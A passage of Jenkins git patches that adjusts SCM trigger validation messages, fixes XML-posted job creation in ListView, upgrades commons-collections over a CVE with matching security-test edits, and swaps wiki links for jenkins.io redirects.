Performs syntax check. + */ + public FormValidation doCheckScmpoll_spec(@QueryParameter String value, + @QueryParameter boolean ignorePostCommitHooks, + @AncestorInPath Item item) { + if (ignorePostCommitHooks && StringUtils.isBlank(value)) { + return FormValidation.ok(Messages.SCMTrigger_no_schedules_no_hooks()); + } else { + return Jenkins.getInstance().getDescriptorByType(TimerTrigger.DescriptorImpl.class) + .doCheckSpec(value, item); + } + } } @Extension diff --git a/core/src/main/resources/hudson/triggers/Messages.properties b/core/src/main/resources/hudson/triggers/Messages.properties index d01e59aec9..67023a0653 100644 --- a/core/src/main/resources/hudson/triggers/Messages.properties +++ b/core/src/main/resources/hudson/triggers/Messages.properties @@ -23,6 +23,7 @@ SCMTrigger.DisplayName=Poll SCM SCMTrigger.getDisplayName={0} Polling Log SCMTrigger.BuildAction.DisplayName=Polling Log +SCMTrigger.no_schedules_no_hooks=Post commit hooks are being ignored and no schedules so will never run SCMTrigger.SCMTriggerCause.ShortDescription=Started by an SCM change TimerTrigger.DisplayName=Build periodically TimerTrigger.MissingWhitespace=You appear to be missing whitespace between * and *. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/config.jelly b/core/src/main/resources/hudson/triggers/SCMTrigger/config.jelly index bc470223b2..5eeba93429 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/config.jelly +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/config.jelly @@ -25,7 +25,7 @@ THE SOFTWARE. - + -- GitLab From 5f5f88006958b1dbac6a8747dea62b8e338c2f7d Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 20 Feb 2017 11:51:33 +0000 Subject: [PATCH 808/811] [JENKINS-42194] Code review reveals valid point, no schedules is not a warning --- core/src/main/java/hudson/triggers/SCMTrigger.java | 8 ++++++-- .../main/resources/hudson/triggers/Messages.properties | 3 ++- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index b8fa8ea420..74ae690f7c 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -367,8 +367,12 @@ public class SCMTrigger extends Trigger { public FormValidation doCheckScmpoll_spec(@QueryParameter String value, @QueryParameter boolean ignorePostCommitHooks, @AncestorInPath Item item) { - if (ignorePostCommitHooks && StringUtils.isBlank(value)) { - return FormValidation.ok(Messages.SCMTrigger_no_schedules_no_hooks()); + if (StringUtils.isBlank(value)) { + if (ignorePostCommitHooks) { + return FormValidation.ok(Messages.SCMTrigger_no_schedules_no_hooks()); + } else { + return FormValidation.ok(Messages.SCMTrigger_no_schedules_hooks()); + } } else { return Jenkins.getInstance().getDescriptorByType(TimerTrigger.DescriptorImpl.class) .doCheckSpec(value, item); diff --git a/core/src/main/resources/hudson/triggers/Messages.properties b/core/src/main/resources/hudson/triggers/Messages.properties index 67023a0653..7efa24a94f 100644 --- a/core/src/main/resources/hudson/triggers/Messages.properties +++ b/core/src/main/resources/hudson/triggers/Messages.properties @@ -23,7 +23,8 @@ SCMTrigger.DisplayName=Poll SCM SCMTrigger.getDisplayName={0} Polling Log SCMTrigger.BuildAction.DisplayName=Polling Log -SCMTrigger.no_schedules_no_hooks=Post commit hooks are being ignored and no schedules so will never run +SCMTrigger.no_schedules_no_hooks=Post commit hooks are being ignored and no schedules so will never run due to SCM changes +SCMTrigger.no_schedules_hooks=No schedules so will only run due to SCM changes if triggered by a post-commit hook SCMTrigger.SCMTriggerCause.ShortDescription=Started by an SCM change TimerTrigger.DisplayName=Build periodically TimerTrigger.MissingWhitespace=You appear to be missing whitespace between * and *. -- GitLab From 84d9244520b917629e82b762eb7b7548cf5f6b9f Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Tue, 21 Feb 2017 15:39:09 +0100 Subject: [PATCH 809/811] [FIXED JENKINS-41128] createItem in View not working when posting xml --- core/src/main/java/hudson/model/ListView.java | 16 ++++- .../test/java/hudson/model/ListViewTest.java | 59 +++++++++++++++++++ .../ListViewTest/addJobUsingAPI/config.xml | 16 +++++ 3 files changed, 88 insertions(+), 3 deletions(-) create mode 100644 test/src/test/resources/hudson/model/ListViewTest/addJobUsingAPI/config.xml diff --git a/core/src/main/java/hudson/model/ListView.java b/core/src/main/java/hudson/model/ListView.java index 32e3779e30..be1483df66 100644 --- a/core/src/main/java/hudson/model/ListView.java +++ b/core/src/main/java/hudson/model/ListView.java @@ -319,16 +319,26 @@ public class ListView extends View implements DirectlyModifiableView { } } + private boolean needToAddToCurrentView(StaplerRequest req) throws ServletException { + String json = req.getParameter("json"); + if (json != null && json.length() > 0) { + // Submitted via UI + JSONObject form = req.getSubmittedForm(); + return form.has("addToCurrentView") && form.getBoolean("addToCurrentView"); + } else { + // Submitted via API + return true; + } + } + @Override @RequirePOST public Item doCreateItem(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { - JSONObject form = req.getSubmittedForm(); - boolean addToCurrentView = form.has("addToCurrentView") && form.getBoolean("addToCurrentView"); ItemGroup ig = getOwnerItemGroup(); if (ig instanceof ModifiableItemGroup) { TopLevelItem item = ((ModifiableItemGroup)ig).doCreateItem(req, rsp); if (item!=null) { - if (addToCurrentView) { + if (needToAddToCurrentView(req)) { synchronized (this) { jobNames.add(item.getRelativeNameFrom(getOwnerItemGroup())); } diff --git a/test/src/test/java/hudson/model/ListViewTest.java b/test/src/test/java/hudson/model/ListViewTest.java index b2dd439b0b..589a83daa2 100644 --- a/test/src/test/java/hudson/model/ListViewTest.java +++ b/test/src/test/java/hudson/model/ListViewTest.java @@ -37,27 +37,41 @@ import hudson.security.AuthorizationStrategy; import hudson.security.Permission; import java.io.IOException; +import java.io.InputStream; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.HashSet; +import java.util.List; + import org.acegisecurity.Authentication; import static org.junit.Assert.*; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import javax.servlet.ReadListener; +import javax.servlet.ServletInputStream; +import org.apache.commons.io.IOUtils; import org.junit.Rule; import org.junit.Test; +import org.junit.rules.TestName; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.JenkinsRule.WebClient; import org.jvnet.hudson.test.MockFolder; import org.jvnet.hudson.test.recipes.LocalData; +import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.StaplerResponse; import org.xml.sax.SAXException; public class ListViewTest { @Rule public JenkinsRule j = new JenkinsRule(); + @Rule public TestName testName = new TestName(); + @Issue("JENKINS-15309") @LocalData @Test public void nullJobNames() throws Exception { @@ -225,6 +239,26 @@ public class ListViewTest { } assertEquals(Collections.singletonList(p), v.getItems()); } + + @Issue("JENKINS-41128") + @Test public void addJobUsingAPI() throws Exception { + ListView v = new ListView("view", j.jenkins); + j.jenkins.addView(v); + StaplerRequest req = mock(StaplerRequest.class); + StaplerResponse rsp = mock(StaplerResponse.class); + + String configXml = IOUtils.toString(getClass().getResourceAsStream(String.format("%s/%s/config.xml", getClass().getSimpleName(), testName.getMethodName())), "UTF-8"); + + when(req.getMethod()).thenReturn("POST"); + when(req.getParameter("name")).thenReturn("job1"); + when(req.getInputStream()).thenReturn(new Stream(IOUtils.toInputStream(configXml))); + when(req.getContentType()).thenReturn("application/xml"); + v.doCreateItem(req, rsp); + List items = v.getItems(); + assertEquals(1, items.size()); + assertEquals("job1", items.get(0).getName()); + } + private static class AllButViewsAuthorizationStrategy extends AuthorizationStrategy { @Override public ACL getRootACL() { return UNSECURED.getRootACL(); @@ -241,4 +275,29 @@ public class ListViewTest { } } + private static class Stream extends ServletInputStream { + private final InputStream inner; + + public Stream(final InputStream inner) { + this.inner = inner; + } + + @Override + public int read() throws IOException { + return inner.read(); + } + @Override + public boolean isFinished() { + throw new UnsupportedOperationException(); + } + @Override + public boolean isReady() { + throw new UnsupportedOperationException(); + } + @Override + public void setReadListener(ReadListener readListener) { + throw new UnsupportedOperationException(); + } + } + } diff --git a/test/src/test/resources/hudson/model/ListViewTest/addJobUsingAPI/config.xml b/test/src/test/resources/hudson/model/ListViewTest/addJobUsingAPI/config.xml new file mode 100644 index 0000000000..ff565b6b94 --- /dev/null +++ b/test/src/test/resources/hudson/model/ListViewTest/addJobUsingAPI/config.xml @@ -0,0 +1,16 @@ + + + + false + + + true + false + false + false + + false + + + + -- GitLab From 46d3f2e1d0bee7098e630d9c6913fe25bb2b3753 Mon Sep 17 00:00:00 2001 From: PJ Fanning Date: Sat, 25 Feb 2017 18:36:01 +0000 Subject: [PATCH 810/811] [JENKINS-31598] upgrade commons-collections due to CVE against v3.2.1 (#2761) * [JENKINS-31598] upgrade commons-collections due to CVE against v3.2.1 * Fix broken tests --- core/pom.xml | 2 +- .../test/java/jenkins/security/Security218CliTest.java | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/core/pom.xml b/core/pom.xml index a41dc945f6..ccf1ef97e6 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -491,7 +491,7 @@ THE SOFTWARE. commons-collections commons-collections - 3.2.1 + 3.2.2 org.jvnet.winp diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 9f6c385fe5..f9f39c4d46 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -57,7 +57,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-218") public void probeCommonsCollections1() throws Exception { - probe(Payload.CommonsCollections1, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.CommonsCollections1, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -73,7 +73,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeCommonsCollections3() throws Exception { - probe(Payload.CommonsCollections3, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.CommonsCollections3, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -87,14 +87,14 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeCommonsCollections5() throws Exception { - probe(Payload.CommonsCollections5, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.CommonsCollections5, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-317") public void probeCommonsCollections6() throws Exception { - probe(Payload.CommonsCollections6, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.CommonsCollections6, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) -- GitLab From 2a03dda885d834847db801d2a16a570cd10b7749 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 25 Feb 2017 19:56:01 +0100 Subject: [PATCH 811/811] Reference redirectors and jenkins.io as much as possible (#2756) * Reference redirectors and jenkins.io as much as possible * Something went wrong, so this is a troubleshooting URL * More specific redirect URLs --- CONTRIBUTING.md | 2 +- Jenkinsfile | 2 +- README.md | 2 -- .../main/resources/hudson/cli/client/Messages.properties | 2 +- .../resources/hudson/cli/client/Messages_bg.properties | 2 +- .../resources/hudson/cli/client/Messages_de.properties | 2 +- .../hudson/cli/client/Messages_pt_BR.properties | 2 +- .../hudson/cli/client/Messages_zh_TW.properties | 2 +- core/src/main/java/hudson/Functions.java | 2 +- core/src/main/java/hudson/Launcher.java | 2 +- core/src/main/java/hudson/Plugin.java | 4 ++-- core/src/main/java/hudson/Proc.java | 6 +++--- core/src/main/java/hudson/cli/CLICommand.java | 2 +- core/src/main/java/hudson/model/Descriptor.java | 4 ++-- core/src/main/java/hudson/model/FileParameterValue.java | 2 +- core/src/main/java/hudson/model/Queue.java | 4 ++-- core/src/main/java/hudson/model/Slave.java | 2 +- core/src/main/java/hudson/util/ArgumentListBuilder.java | 2 +- core/src/main/java/hudson/util/ProcessTree.java | 2 +- core/src/main/java/jenkins/model/RunIdMigrator.java | 2 +- .../java/jenkins/model/item_category/ItemCategory.java | 2 +- .../jenkins/slaves/restarter/WinswSlaveRestarter.java | 2 +- .../main/resources/hudson/AboutJenkins/index.properties | 2 +- .../resources/hudson/AboutJenkins/index_cs.properties | 2 +- .../resources/hudson/AboutJenkins/index_da.properties | 2 +- .../resources/hudson/AboutJenkins/index_de.properties | 2 +- .../resources/hudson/AboutJenkins/index_es.properties | 2 +- .../resources/hudson/AboutJenkins/index_fi.properties | 2 +- .../resources/hudson/AboutJenkins/index_fr.properties | 2 +- .../resources/hudson/AboutJenkins/index_hu.properties | 2 +- .../resources/hudson/AboutJenkins/index_it.properties | 2 +- .../resources/hudson/AboutJenkins/index_ja.properties | 2 +- .../resources/hudson/AboutJenkins/index_lt.properties | 2 +- .../resources/hudson/AboutJenkins/index_nb_NO.properties | 2 +- .../resources/hudson/AboutJenkins/index_pl.properties | 2 +- .../resources/hudson/AboutJenkins/index_pt_BR.properties | 2 +- .../resources/hudson/AboutJenkins/index_ru.properties | 2 +- .../resources/hudson/AboutJenkins/index_sr.properties | 2 +- .../resources/hudson/AboutJenkins/index_uk.properties | 2 +- .../resources/hudson/AboutJenkins/index_zh_CN.properties | 2 +- .../resources/hudson/AboutJenkins/index_zh_TW.properties | 2 +- .../hudson/ProxyConfiguration/help-noProxyHost.html | 2 +- .../hudson/ProxyConfiguration/help-noProxyHost_de.html | 2 +- .../hudson/ProxyConfiguration/help-noProxyHost_ja.html | 2 +- .../ProxyConfiguration/help-noProxyHost_zh_TW.html | 2 +- .../main/resources/hudson/cli/CLIAction/index.properties | 2 +- .../resources/hudson/cli/CLIAction/index_de.properties | 2 +- .../resources/hudson/cli/CLIAction/index_es.properties | 2 +- .../resources/hudson/cli/CLIAction/index_fr.properties | 2 +- .../resources/hudson/cli/CLIAction/index_it.properties | 2 +- .../resources/hudson/cli/CLIAction/index_ja.properties | 2 +- .../resources/hudson/cli/CLIAction/index_nl.properties | 2 +- .../hudson/cli/CLIAction/index_pt_BR.properties | 4 ++-- .../resources/hudson/cli/CLIAction/index_ru.properties | 2 +- .../resources/hudson/cli/CLIAction/index_sr.properties | 2 +- .../hudson/cli/CLIAction/index_zh_CN.properties | 2 +- .../hudson/cli/CLIAction/index_zh_TW.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_de.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_es.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_fr.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_ja.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_nl.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_pt.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_pt_BR.properties | 4 ++-- .../HudsonHomeDiskUsageMonitor/index_sr.properties | 4 +++- .../HudsonHomeDiskUsageMonitor/index_zh_TW.properties | 2 +- .../lifecycle/WindowsInstallerLink/_restart.properties | 2 +- .../WindowsInstallerLink/_restart_de.properties | 2 +- .../WindowsInstallerLink/_restart_es.properties | 2 +- .../WindowsInstallerLink/_restart_fr.properties | 2 +- .../WindowsInstallerLink/_restart_ja.properties | 2 +- .../WindowsInstallerLink/_restart_nl.properties | 2 +- .../WindowsInstallerLink/_restart_pt_BR.properties | 2 +- .../WindowsInstallerLink/_restart_sr.properties | 2 +- .../WindowsInstallerLink/_restart_zh_TW.properties | 2 +- .../hudson/logging/LogRecorderManager/index.jelly | 2 +- .../hudson/logging/LogRecorderManager/levels.properties | 2 +- .../logging/LogRecorderManager/levels_da.properties | 2 +- .../logging/LogRecorderManager/levels_de.properties | 2 +- .../logging/LogRecorderManager/levels_es.properties | 2 +- .../logging/LogRecorderManager/levels_fr.properties | 2 +- .../logging/LogRecorderManager/levels_it.properties | 2 +- .../logging/LogRecorderManager/levels_ja.properties | 2 +- .../logging/LogRecorderManager/levels_ko.properties | 2 +- .../logging/LogRecorderManager/levels_pt.properties | 2 +- .../logging/LogRecorderManager/levels_pt_BR.properties | 4 ++-- .../logging/LogRecorderManager/levels_ru.properties | 2 +- .../logging/LogRecorderManager/levels_sr.properties | 2 +- .../logging/LogRecorderManager/levels_zh_TW.properties | 2 +- .../model/AbstractProject/help-concurrentBuild.html | 2 +- .../model/AbstractProject/help-concurrentBuild_bg.html | 2 +- core/src/main/resources/hudson/model/Api/index.jelly | 2 +- core/src/main/resources/hudson/model/Messages.properties | 4 ++-- .../main/resources/hudson/model/Messages_bg.properties | 4 ++-- .../main/resources/hudson/model/Messages_de.properties | 4 ++-- .../main/resources/hudson/model/Messages_es.properties | 4 ++-- .../main/resources/hudson/model/Messages_fr.properties | 4 ++-- .../main/resources/hudson/model/Messages_it.properties | 4 ++-- .../main/resources/hudson/model/Messages_ja.properties | 4 ++-- .../main/resources/hudson/model/Messages_lt.properties | 4 ++-- .../resources/hudson/model/Messages_pt_BR.properties | 4 ++-- .../main/resources/hudson/model/Messages_sr.properties | 4 ++-- .../resources/hudson/model/Messages_zh_CN.properties | 4 ++-- .../resources/hudson/model/Messages_zh_TW.properties | 4 ++-- .../hudson/model/ParametersDefinitionProperty/help.html | 4 ++-- .../model/ParametersDefinitionProperty/help_de.html | 2 +- .../model/ParametersDefinitionProperty/help_fr.html | 2 +- .../model/ParametersDefinitionProperty/help_ja.html | 2 +- .../model/ParametersDefinitionProperty/help_tr.html | 2 +- .../model/ParametersDefinitionProperty/help_zh_TW.html | 2 +- .../HudsonPrivateSecurityRealm/help-allowsSignup.html | 2 +- .../HudsonPrivateSecurityRealm/help-allowsSignup_bg.html | 2 +- .../help-allowsSignup_zh_TW.html | 2 +- .../main/resources/hudson/tasks/Fingerprinter/help.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_de.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_fr.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_ja.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_pt_BR.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_ru.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_tr.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_zh_TW.html | 2 +- .../DescriptorImpl/enterCredential.properties | 2 +- .../DescriptorImpl/enterCredential_de.properties | 2 +- .../DescriptorImpl/enterCredential_es.properties | 4 ++-- .../DescriptorImpl/enterCredential_ja.properties | 2 +- .../DescriptorImpl/enterCredential_pt_BR.properties | 4 ++-- .../DescriptorImpl/enterCredential_sr.properties | 2 +- .../DescriptorImpl/enterCredential_zh_TW.properties | 2 +- .../main/resources/hudson/triggers/SCMTrigger/help.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_de.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_fr.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_ja.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_pt_BR.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_ru.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_tr.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_zh_TW.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_de.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_fr.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_ja.html | 2 +- .../hudson/triggers/TimerTrigger/help_pt_BR.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_ru.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_tr.html | 2 +- .../hudson/triggers/TimerTrigger/help_zh_TW.html | 2 +- .../resources/hudson/util/AWTProblem/index.properties | 2 +- .../resources/hudson/util/AWTProblem/index_sr.properties | 2 +- .../util/InsufficientPermissionDetected/index.properties | 2 +- .../InsufficientPermissionDetected/index_de.properties | 2 +- .../InsufficientPermissionDetected/index_es.properties | 2 +- .../InsufficientPermissionDetected/index_ja.properties | 2 +- .../index_pt_BR.properties | 2 +- .../InsufficientPermissionDetected/index_sr.properties | 2 +- .../index_zh_TW.properties | 2 +- .../hudson/util/JNADoublyLoaded/index.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_de.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_es.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_ja.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_pt_BR.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_sr.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_zh_TW.properties | 2 +- .../resources/hudson/util/NoHomeDir/index.properties | 2 +- .../resources/hudson/util/NoHomeDir/index_de.properties | 2 +- .../resources/hudson/util/NoHomeDir/index_es.properties | 2 +- .../resources/hudson/util/NoHomeDir/index_ja.properties | 2 +- .../hudson/util/NoHomeDir/index_pt_BR.properties | 4 ++-- .../resources/hudson/util/NoHomeDir/index_sr.properties | 2 +- .../hudson/util/NoHomeDir/index_zh_TW.properties | 2 +- .../jenkins/diagnosis/HsErrPidList/index.properties | 2 +- .../jenkins/diagnosis/HsErrPidList/index_ja.properties | 2 +- .../jenkins/diagnosis/HsErrPidList/index_lt.properties | 2 +- .../diagnosis/HsErrPidList/index_pt_BR.properties | 4 ++-- .../jenkins/diagnosis/HsErrPidList/index_sr.properties | 2 +- .../CompletedInitializationMonitor/message.jelly | 4 ++-- .../jenkins/install/pluginSetupWizard.properties | 4 ++-- .../jenkins/install/pluginSetupWizard_fr.properties | 4 ++-- .../jenkins/install/pluginSetupWizard_lt.properties | 4 ++-- .../jenkins/install/pluginSetupWizard_sr.properties | 4 ++-- .../resources/jenkins/model/Jenkins/_cli_ko.properties | 2 +- .../jenkins/model/Jenkins/_cli_sv_SE.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_bg.properties | 4 ++-- .../jenkins/model/Jenkins/fingerprintCheck_cs.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_da.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_de.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_el.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_es.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_fr.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_ja.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_lt.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_lv.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_nl.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_pl.properties | 2 +- .../model/Jenkins/fingerprintCheck_pt_BR.properties | 4 ++-- .../jenkins/model/Jenkins/fingerprintCheck_ru.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_sk.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_sr.properties | 2 +- .../model/Jenkins/fingerprintCheck_sv_SE.properties | 2 +- .../model/Jenkins/fingerprintCheck_zh_TW.properties | 2 +- core/src/main/resources/jenkins/model/Jenkins/oops.jelly | 6 +++--- .../main/resources/jenkins/model/Jenkins/oops.properties | 4 ++-- .../resources/jenkins/model/Jenkins/oops_bg.properties | 8 ++++---- .../resources/jenkins/model/Jenkins/oops_ja.properties | 4 ++-- .../resources/jenkins/model/Jenkins/oops_lt.properties | 4 ++-- .../jenkins/model/Jenkins/oops_pt_BR.properties | 8 ++++---- .../resources/jenkins/model/Jenkins/oops_sr.properties | 4 ++-- .../model/Jenkins/projectRelationship-help.properties | 2 +- .../model/Jenkins/projectRelationship-help_bg.properties | 4 ++-- .../model/Jenkins/projectRelationship-help_de.properties | 2 +- .../model/Jenkins/projectRelationship-help_es.properties | 2 +- .../model/Jenkins/projectRelationship-help_et.properties | 2 +- .../model/Jenkins/projectRelationship-help_fr.properties | 2 +- .../model/Jenkins/projectRelationship-help_ja.properties | 2 +- .../model/Jenkins/projectRelationship-help_lt.properties | 2 +- .../model/Jenkins/projectRelationship-help_nl.properties | 2 +- .../Jenkins/projectRelationship-help_pt_BR.properties | 2 +- .../model/Jenkins/projectRelationship-help_ru.properties | 2 +- .../model/Jenkins/projectRelationship-help_sr.properties | 2 +- .../model/Jenkins/projectRelationship-help_tr.properties | 2 +- .../Jenkins/projectRelationship-help_zh_TW.properties | 2 +- .../src/main/resources/jenkins/model/Messages.properties | 3 +-- .../main/resources/jenkins/model/Messages_bg.properties | 4 +--- .../main/resources/jenkins/model/Messages_de.properties | 3 +-- .../main/resources/jenkins/model/Messages_es.properties | 3 +-- .../main/resources/jenkins/model/Messages_fr.properties | 3 +-- .../main/resources/jenkins/model/Messages_ja.properties | 3 +-- .../main/resources/jenkins/model/Messages_sr.properties | 4 ++-- .../resources/jenkins/model/Messages_zh_TW.properties | 4 ++-- .../RunIdMigrator/UnmigrationInstruction/index.jelly | 4 ++-- .../jenkins/security/ApiTokenProperty/help-apiToken.html | 2 +- .../security/ApiTokenProperty/help-apiToken_ja.html | 2 +- .../security/ApiTokenProperty/help-apiToken_zh_TW.html | 2 +- .../security/RekeySecretAdminMonitor/message.properties | 4 ++-- .../RekeySecretAdminMonitor/message_sr.properties | 4 ++-- .../RekeySecretAdminMonitor/message_zh_TW.properties | 4 ++-- .../resources/jenkins/security/s2m/filepath-filter.conf | 2 +- core/src/main/resources/lib/hudson/queue.jelly | 2 +- core/src/main/resources/lib/layout/layout.properties | 2 +- core/src/main/resources/lib/layout/layout_bg.properties | 2 +- core/src/main/resources/lib/layout/layout_ja.properties | 2 +- .../main/resources/lib/layout/layout_pt_BR.properties | 4 ++-- core/src/main/resources/lib/layout/layout_sr.properties | 2 +- licenseCompleter.groovy | 2 +- pom.xml | 9 ++------- war/src/main/webapp/WEB-INF/ibm-web-bnd.xmi | 2 +- war/src/main/webapp/WEB-INF/sun-web.xml | 2 +- war/src/main/webapp/help/LogRecorder/logger.html | 2 +- war/src/main/webapp/help/LogRecorder/logger_de.html | 2 +- war/src/main/webapp/help/LogRecorder/logger_fr.html | 2 +- war/src/main/webapp/help/LogRecorder/logger_ja.html | 2 +- war/src/main/webapp/help/LogRecorder/logger_zh_TW.html | 2 +- war/src/main/webapp/help/project-config/downstream.html | 4 ++-- war/src/main/webapp/scripts/hudson-behavior.js | 2 +- 253 files changed, 308 insertions(+), 320 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 7a2d5e0c53..f99fe77067 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,3 +1,3 @@ # Contributing to Jenkins -For information on contributing to Jenkins, check out the https://wiki.jenkins-ci.org/display/JENKINS/Beginners+Guide+to+Contributing and https://wiki.jenkins-ci.org/display/JENKINS/Extend+Jenkins wiki pages over at the official https://wiki.jenkins-ci.org . They will help you get started with contributing to Jenkins. +For information on contributing to Jenkins, check out https://jenkins.io/redirect/contribute/. That page will help you get started with contributing to Jenkins. diff --git a/Jenkinsfile b/Jenkinsfile index 1a67c6c585..49c5635774 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -1,7 +1,7 @@ #!/usr/bin/env groovy /* - * This Jenkinsfile is intended to run on https://ci.jenkins-ci.org and may fail anywhere else. + * This Jenkinsfile is intended to run on https://ci.jenkins.io and may fail anywhere else. * It makes assumptions about plugins being installed, labels mapping to nodes that can build what is needed, etc. * * The required labels are "java" and "docker" - "java" would be any node that can run Java builds. It doesn't need diff --git a/README.md b/README.md index 501778372d..6dc6c47ece 100644 --- a/README.md +++ b/README.md @@ -59,6 +59,4 @@ Jenkins is **licensed** under the **[MIT License]**. The terms of the license ar [GitHub]: https://github.com/jenkinsci/jenkins [website]: https://jenkins.io/ [@jenkinsci]: https://twitter.com/jenkinsci -[Contributing]: https://wiki.jenkins-ci.org/display/JENKINS/contributing -[Extend Jenkins]: https://wiki.jenkins-ci.org/display/JENKINS/Extend+Jenkins [wiki]: https://wiki.jenkins-ci.org diff --git a/cli/src/main/resources/hudson/cli/client/Messages.properties b/cli/src/main/resources/hudson/cli/client/Messages.properties index 699b4c4738..98dee46cdb 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages.properties @@ -3,7 +3,7 @@ CLI.Usage=Jenkins CLI\n\ Options:\n\ -s URL : the server URL (defaults to the JENKINS_URL env var)\n\ -i KEY : SSH private key file used for authentication\n\ - -p HOST:PORT : HTTP proxy host and port for HTTPS proxy tunneling. See http://jenkins-ci.org/https-proxy-tunnel\n\ + -p HOST:PORT : HTTP proxy host and port for HTTPS proxy tunneling. See https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : bypass HTTPS certificate check entirely. Use with caution\n\ -noKeyAuth : don't try to load the SSH authentication private key. Conflicts with -i\n\ \n\ diff --git a/cli/src/main/resources/hudson/cli/client/Messages_bg.properties b/cli/src/main/resources/hudson/cli/client/Messages_bg.properties index 187d7208d6..acd0191d5c 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages_bg.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages_bg.properties @@ -28,7 +28,7 @@ CLI.Usage=\ \u0441\u0440\u0435\u0434\u0430\u0442\u0430 \u201eJENKINS_URL\u201c)\n\ -i \u041a\u041b\u042e\u0427 : \u0447\u0430\u0441\u0442\u0435\u043d \u043a\u043b\u044e\u0447 \u0437\u0430 SSH \u0437\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\n\ -p \u0425\u041e\u0421\u0422:\u041f\u041e\u0420\u0422 : \u0445\u043e\u0441\u0442 \u0438 \u043f\u043e\u0440\u0442 \u0437\u0430 